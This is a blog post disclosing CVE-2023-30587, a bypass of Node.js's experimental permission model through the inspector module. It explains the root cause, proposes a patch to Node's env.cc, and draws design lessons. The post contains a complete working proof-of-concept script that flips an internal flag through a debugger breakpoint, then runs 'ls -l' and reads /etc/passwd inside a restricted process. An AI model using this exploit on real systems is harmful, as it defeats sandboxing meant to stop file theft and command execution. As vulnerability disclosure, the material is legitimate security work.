Skip to main content
  1. posts/

CVE-2023-30587 - Node.js Permission Bypass via Inspector Module

While investigating Node.js’s experimental permission model, I discovered a critical vulnerability that allows an attacker to bypass process-level restrictions enforced by the --experimental-permission flag by leveraging the built-in inspector module. This vulnerability, assigned CVE-2023-30587, enables arbitrary file system access and child process execution even when these capabilities are explicitly restricted.

The Vulnerability #

The vulnerability exists in how Node.js handles the Worker class and the inspector module when process-level permissions are enforced. The Worker class can take an argument (the kIsInternal Symbol) to create an “internal worker” which does not respect the process level restrictions.

While we cannot access Symbol('kIsInternal') directly, the inspector module is not disabled when process level restrictions are in place. The node:inspector module provides an API for interacting with the V8 inspector, which can be used to manipulate the Worker’s internal state during construction.

If we attach the inspector inside the Worker constructor before new WorkerImpl is created, we can simply change the value of isInternal to bypass permission checks.

The root cause is a combination of factors:

  • The inspector module remains accessible even when process-level permissions are enforced
  • The Worker class has an internal mechanism (kIsInternal) that bypasses permission checks
  • The inspector’s debugging capabilities allow manipulation of internal variables during Worker construction
  • There’s no validation to prevent the inspector from modifying critical permission-related state

Affected Versions #

  • Affected versions: Node.js versions with the experimental permission model (tested on Node.js 20.x and earlier versions)
  • Status: This vulnerability affects the experimental permission model feature introduced in Node.js

The vulnerability affects any Node.js application running with the --experimental-permission flag, which is used to:

  • Restrict file system access to specific paths
  • Prevent child process execution
  • Control access to native addons
  • Enforce security boundaries in Node.js applications

How It Works #

The attack works by leveraging the inspector module to manipulate the Worker’s internal state:

  1. Inspector Access: The inspector module is not disabled when process-level permissions are enforced, allowing us to attach a debugging session
  2. Worker Construction: When creating a new Worker, we can use the inspector to set a breakpoint in the Worker constructor
  3. State Manipulation: Using a conditional breakpoint, we can modify the isInternal variable to true before WorkerImpl is instantiated
  4. Permission Bypass: An internal worker (isInternal = true) bypasses all process-level permission checks, allowing unrestricted file system access and child process execution

The key insight is that the inspector’s debugging capabilities allow us to inject code that modifies internal variables during the Worker’s construction phase, effectively converting a regular worker into an internal worker that ignores permission restrictions.

Proof of Concept #

To demonstrate this vulnerability, create the following bypass.js file:

const { Session } = require('node:inspector/promises');

const session = new Session();
session.connect();

(async ()=>{
	await session.post('Debugger.enable');
	await session.post('Runtime.enable');

	global.Worker = require('node:worker_threads').Worker;
	
	let {result:{ objectId }} = await session.post('Runtime.evaluate', { expression: 'Worker' });
	let { internalProperties } = await session.post("Runtime.getProperties", { objectId: objectId });
	let {value:{value:{ scriptId }}} = internalProperties.filter(prop => prop.name == '[[FunctionLocation]]')[0];
	let { scriptSource } = await session.post("Debugger.getScriptSource", { scriptId });

	// find the line number where WorkerImpl is called. 
	const lineNumber = scriptSource.substring(0, scriptSource.indexOf("new WorkerImpl")).split('\n').length;

	// WorkerImpl will bypass permission for internal modules. We can inject the local var "isInternal = true" with a conditional breakpoint.
	await session.post("Debugger.setBreakpointByUrl", {
		lineNumber: lineNumber,
		url: "node:internal/worker",
		columnNumber: 0,
		condition: "((isInternal = true),false)"
	});

	new Worker(`
		const child_process = require("node:child_process");
		console.log(child_process.execSync("ls -l").toString());
		
		console.log(require("fs").readFileSync("/etc/passwd").toString())
	`, {
		eval: true,
		execArgv: [
			"--experimental-permission",
			"--allow-fs-read=*",
			"--allow-fs-write=*",
			"--allow-child-process",
			"--no-warnings"
		]
	});

})()

Run the following command:

node --experimental-permission --allow-fs-read=$(pwd) bypass.js

If the policies were not bypassed, we would expect to see an error like:

node --experimental-permission --allow-fs-read=$(pwd) safe.js
node:internal/child_process:1103
  const result = spawn_sync.spawn(options);
                            ^

Error: Access to this API has been restricted

However, with the bypass, the Worker successfully executes the restricted operations, demonstrating that the permission model has been circumvented.

The Impact #

This vulnerability is particularly dangerous because:

  • Permission bypass: An attacker can completely bypass the experimental permission model, which is designed to restrict access to sensitive resources
  • Full system access: Once bypassed, an attacker can read arbitrary files, write to the filesystem, and execute child processes with the same permissions as the Node.js process
  • Security boundary violation: The permission model is intended to provide security boundaries for Node.js applications, and this bypass undermines that entire security model
  • Credential theft: An attacker could read sensitive files including SSH keys, AWS credentials, password files, and other authentication tokens
  • Data exfiltration: An attacker could steal sensitive code, files, or other private data from the system

The attack is especially concerning because it targets applications that rely on the experimental permission model to enforce security boundaries. These applications may be running in sensitive environments where file system access and process execution need to be tightly controlled.

The Fix #

The recommended fix is to disable the inspector module when process-level permissions are being enforced, unless explicitly allowed. In my analysis, I noticed there was already a flag: EnvironmentFlags::kNoCreateInspector. A potential patch would disable the inspector unless --inspect or --inspect-brk were explicitly used:

diff --git a/src/env.cc b/src/env.cc
index 571a8ed5ce..b5b7557bd1 100644
--- a/src/env.cc
+++ b/src/env.cc
@@ -791,6 +791,11 @@ Environment::Environment(IsolateData* isolate_data,
     // spawn/worker nor use addons unless explicitly allowed by the user
     if (!options_->allow_fs_read.empty() || !options_->allow_fs_write.empty()) {
       options_->allow_native_addons = false;
+      DebugOptions debug_options;
+      debug_options = options_->debug_options();
+      if (!debug_options.inspector_enabled || !debug_options.break_first_line) {
+        flags_ = flags_ | EnvironmentFlags::kNoCreateInspector;
+      }
       if (!options_->allow_child_process) {
         permission()->Apply("*", permission::PermissionScope::kChildProcess);
       }

Alternatively, a more direct approach would be to add an --allow-inspector flag that must be explicitly enabled when using the permission model, making the security implications clear to users.

Why This Matters #

The experimental permission model is designed to provide security boundaries for Node.js applications, allowing developers to restrict access to file system operations, child processes, and other sensitive resources. This vulnerability demonstrates that powerful debugging capabilities (like the inspector) can be used to bypass these security boundaries if not properly restricted.

This vulnerability highlights the importance of:

  • Defense in depth: Security features must be designed to prevent bypass through other system capabilities
  • Principle of least privilege: Debugging capabilities should be disabled or restricted when security boundaries are enforced
  • Secure defaults: When security features are enabled, other potentially dangerous features should be disabled by default
  • Explicit opt-in: Powerful debugging capabilities should require explicit opt-in when security restrictions are in place

Disclosure #

This vulnerability was reported to the Node.js security team and assigned CVE-2023-30587. The Node.js team has addressed this issue in subsequent releases.

Takeaways #

This vulnerability highlights several important security lessons:

  1. Security feature interactions: When implementing security features, it’s critical to consider how they interact with other system capabilities. Powerful debugging tools can undermine security boundaries if not properly restricted.

  2. Internal state manipulation: The ability to manipulate internal state through debugging interfaces can lead to security bypasses. Security-critical state should be protected from modification through debugging APIs.

  3. Permission model design: Permission models must be designed to prevent bypass through other system capabilities. The inspector module should be disabled or restricted when permissions are enforced.

  4. Explicit security controls: When security features are enabled, other potentially dangerous features should be explicitly controlled. An --allow-inspector flag would make the security implications clear to users.

  5. Testing security boundaries: Security features should be tested not just for their intended functionality, but also for potential bypasses through other system capabilities.

The fact that this vulnerability affects a security feature designed to provide security boundaries serves as a reminder that security features themselves must be carefully designed and tested to prevent bypass through other system capabilities.

References #

  1. Node.js Inspector Module Documentation
  2. Node.js Permission Model Documentation
  3. CVE-2023-30587
  4. Node.js Security Releases